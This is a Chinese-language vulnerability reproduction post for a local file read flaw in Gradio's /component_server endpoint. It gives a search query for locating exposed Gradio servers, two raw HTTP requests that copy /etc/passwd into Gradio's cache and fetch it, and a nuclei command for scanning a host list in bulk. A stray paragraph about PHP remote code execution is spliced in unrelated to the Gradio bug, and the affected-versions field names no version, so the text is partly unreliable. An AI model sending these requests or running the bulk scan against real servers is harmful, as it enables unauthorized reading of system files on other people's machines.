一:漏洞名称
Gradio应用程序-本地文件读取漏洞
二:漏洞描述
Gradio是一个用于构建快速原型和部署机器学习模型的Python库,提供了简单而强大的界面。它可以将模型转化为交互式应用程序,并支持各种类型的输入和输出界面,自定义样式和布局,以及异常情况处理。
该漏洞存在于Gradio应用程序中的/component_server端点中。此端点缺乏适当的授权检查,使得攻击者可以使用任意参数调用Component类上的任何方法。恶意参与者可以通过将目标指向基础Block类的move_resource_to_block_cache方法来利用此漏洞。
三:漏洞影响版本
gradio
四:网络空间测绘查询
body="__gradio_mode__"
五:漏洞复现
POC:
请求/config文件获取componets的id
POST /component_server HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
PHP 中,传入代码执行或命令执行等危险函数的参数,客户端可控,同时针对该参数没有做过滤或过滤不足,导致代码执行或命令执行。通过远程访问方式传参,就叫做RCE。
GET /file=/tmp/gradio/5160dcbcc73a9d0876e3ada9ca4c95f2d7c63bb5/passwd HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
六:批量检测
nuclei.exe -t POCCVE-2024-1561.yaml -l POChost.txt
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
暂无评论内容